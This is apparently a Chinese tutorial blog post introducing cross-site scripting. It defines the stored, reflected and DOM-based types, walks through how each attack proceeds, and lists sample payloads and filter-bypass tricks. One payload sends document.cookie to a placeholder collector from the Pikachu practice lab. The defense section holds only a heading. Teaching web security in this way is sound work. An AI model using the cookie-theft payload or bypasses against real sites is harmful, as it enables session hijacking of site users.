XSS(一)概述

文章目录

1、概述

1.1、定义

XSS(Cross-Site Scripting,跨站脚本攻击)是一种常见的Web安全漏洞,攻击者通过在目标网站中注入恶意JavaScript代码,当用户访问包含该恶意代码的页面时,浏览器会执行这段代码,从而实现攻击者的恶意目的。

  • 注意:为与CSS(层叠样式表)区分,故简称XSS而非CSS。

1.2、原理

Web应用程序未对用户输入的数据进行严格的验证、过滤或转义,导致攻击者输入的恶意脚本被当作合法代码嵌入到页面中,并被其他用户的浏览器解析执行。

  • 本质是"信任了不可信的输入",将用户输入的数据直接或间接输出到页面,未做安全处理。

2、XSS的分类

2.1、存储型

2.1.1、特点

恶意脚本被永久存储在目标网站的服务器中(如数据库、评论区、留言板等),所有访问该页面的用户都会触发恶意脚本的执行。

2.1.2 攻击流程

  1. 攻击者将恶意JavaScript代码注入到目标网站的可存储区域(如发布含恶意代码的评论);

  2. 目标网站将恶意代码存储到服务器数据库;

  3. 其他用户访问包含该恶意代码的页面时,网站从数据库读取恶意代码并输出到页面;

  4. 用户浏览器解析执行恶意代码,完成攻击。

2.2、反射型

2.2.1、特点

恶意脚本通过URL参数等方式注入,目标网站仅将其"反射"给用户浏览器执行,不会存储在服务器中,通常需要攻击者诱导用户点击恶意链接才能触发。

2.2.2、攻击流程

  1. 攻击者构造包含恶意JavaScript代码的URL;

  2. 通过邮件、短信、社交软件等方式诱导用户点击该恶意URL;

  3. 用户点击后,浏览器向目标网站发送请求,URL中的恶意代码被一同提交;

  4. 目标网站未对参数做安全处理,直接将恶意代码输出到页面;

  5. 用户浏览器执行恶意代码,完成攻击。

2.3、DOM型

2.3.1、特点

恶意脚本的注入和执行完全发生在客户端的DOM解析过程中,目标网站的服务器未参与数据的处理和输出,漏洞根源在于前端JavaScript代码对用户输入的处理不当。

2.3.2、攻击流程

  1. 攻击者构造包含恶意代码的URL(或诱导用户输入恶意代码);

  2. 用户访问URL或输入恶意代码后,前端JavaScript代码读取URL参数或用户输入的数据;

  3. 前端代码未对数据做安全处理,直接通过DOM操作(如innerHTML、document.write、document.cookie、document.referer、location.href等)将其插入到页面中;

  4. 浏览器解析DOM时执行恶意代码,完成攻击。

2.1、三种类型

类型 存储位置 触发方式 服务器参与
存储型 数据库 用户访问含恶意代码的页面即可触发
反射型 无(仅通过URL传递) 诱导用户点击恶意URL
DOM型 无(客户端DOM中) 用户访问恶意URL或输入恶意数据

3、XSS常见攻击手段

3.1、基础脚本注入

javascript 复制代码
<script>alert('XSS')</script> // 弹出提示,测试XSS是否存在
<script>document.location="http://ip/pikachu/pkxss/xcookie/cookie.php?cookie="+document.cookie</script>

3.2、利用HTML标签特性

javascript 复制代码
<img src=x onerror=alert('XSS')> // 图片加载失败时执行onerror事件中的脚本
<a href=javascript:alert('XSS')>点击我</a> // 点击链接时执行脚本
<script>confirm(1)</script>
<script>prompt(1)</script>
onclick='javascript:alert(xss)'

3.3、绕过技巧

  1. 大小写绕过:如,针对未区分大小写过滤的场景;
  2. 空格/注释绕过: 利用注释干扰过滤规则;
javascript 复制代码
如<script/*comment*/>alert('XSS') </script>
  1. 编码绕过:对脚本进行URL编码、HTML实体编码、Unicode编码等,如javascript:alert('XSS')可编码为javascript:%61%6C%65%72%74%28%27%58%53%53%27%29;

4、XSS防御

4.1、htmlspecialchars()函数

相关推荐
计算机程序设计小李同学8 分钟前
幼儿园信息管理系统的设计与实现
前端·bootstrap·html·毕业设计
雨季66635 分钟前
Flutter 三端应用实战:OpenHarmony “专注时光盒”——在碎片洪流中守护心流的数字容器
开发语言·前端·安全·flutter·交互
tao3556671 小时前
【用AI学前端】HTML-02-HTML 常用标签(基础)
前端·html
2601_949532841 小时前
Psello HTML Template: A Developer‘s Deep-Dive Review and Guide - Download Free
前端·windows·html·seo·wordpress·gpl
CappuccinoRose1 小时前
CSS前端布局总指南
前端·css·学习·布局·flex布局·grid布局·float布局
青岑CTF1 小时前
攻防世界-Web_php_include-胎教版wp
开发语言·安全·web安全·网络安全·php
穿过锁扣的风1 小时前
如何操作HTML网页
前端·javascript·html
San30.1 小时前
从零构建坚固的前端堡垒:TypeScript 与 React 实战深度指南
前端·react.js·typescript
yunhuibin1 小时前
VideoPipe环境搭建及编译ubuntu240403
前端·人工智能
CHANG_THE_WORLD2 小时前
PDF文档结构分析 一
前端·pdf